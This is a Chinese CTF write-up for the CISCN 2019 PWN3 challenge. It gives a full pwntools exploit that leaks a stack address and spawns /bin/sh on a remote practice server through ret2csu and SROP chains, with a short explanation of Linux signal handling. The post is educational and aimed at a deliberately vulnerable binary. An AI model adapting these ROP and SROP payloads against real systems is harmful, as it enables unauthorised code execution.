CISCN 2019华南 PWN3

解法

这题有两种解法

  • csu
  • srop

ret2csu

.text:00000000004004E2 mov rax, 3Bh ; ‘;’
.text:00000000004004E9 retn

程序中白给了一段gadgets,0x3b刚好对应execve,我们就可以调用它,然后通过rop构造另外三个参数

/bin/sh,0,0分别对应rdi, rsi, rdx

leak addr

首先我们通过sys_read读入字符串,但是我们不知道其位置,只知道是在栈上,于是我们就要泄漏栈地址并且拿到字符串输入的地址

这里我们可以通过gdb可以发现,我们输入的地址距离栈基址的偏移是固定的0x118

write打印出0x30个字节,可以看出从低地址开始打印0x20个字节后0x8就是栈基址,所以我们构造

payload1 = b'/bin/sh\x00' + b'b' * 8 + p64(vul_addr)
sd(payload1)
rv(0x20)
bin_sh = u64(rv(8)) - 0x118
ms('bin_sh', bin_sh)

来泄漏出输入/bin/sh的地址,并且返回到vul函数,进行再一次的利用

csu

之后就是打csu的部分了,这里可以去wiki上学习下或者参考其他师傅的wp

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./ciscn_2019_s_3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#io = process('./ciscn_2019_s_3')
io = remote('node4.buuoj.cn', 29397)
sl = lambda s : io.sendline(s)
sd = lambda s : io.send(s)
rv = lambda n : io.recv(n)
rc = lambda : io.recv()
ru = lambda s : io.recvuntil(s)

def ms(name,addr):
print(name + "---->" + hex(addr))

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(io,"b *{}".format(hex(mallocr)))

vul_addr = 0x0000000004004ED
pop6_ret = 0x00000000040059A
mov3_call = 0x0000000000400580
execve_call = 0x00000000004004E2
sys_call = 0x0000000000400517
pop_rdi_ret = 0x00000000004005a3

payload1 = b'/bin/sh\x00' + b'b' * 8 + p64(vul_addr)
sd(payload1)
rv(0x20)
bin_sh = u64(rv(8)) - 0x118
ms('bin_sh', bin_sh)

# csu
payload2 = b'/bin/sh\x00' + b'a' * 8 + p64(pop6_ret)
payload2 += p64(0) * 2 + p64(bin_sh+0x50) + p64(0) * 3
payload2 += p64(mov3_call) + p64(execve_call)
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_call)
sd(payload2)

io.interactive()

SROP

signal机制

Process of Signal Handlering

  1. 用户进程接到一个signal,将控制权给到内核层
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及signal信息和sigreturn的系统调用地址,之后跳转到注册过的 signal handler 中处理相应的 signal
  3. 执行完signal handler,就跳转到内核层
  4. 内核恢复2中保存的进程上下文,并把控制权给到用户层

攻击思路

我们可以在恢复进程上下文的时候,构造一个fake_SigFrame,就能控制寄存器来劫持程序流程

对于ctf题pwntools里是集成了框架,如上题

sigreturn = 0x00000000004004DA

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rip = sys_call
payload2 = b'/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(sys_call) + bytes(frame)
sd(payload2)

只需要改payload2那一部分,要注意指定context.arch = "amd64"

作者

秋秋晚

发布于

2022-03-03

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...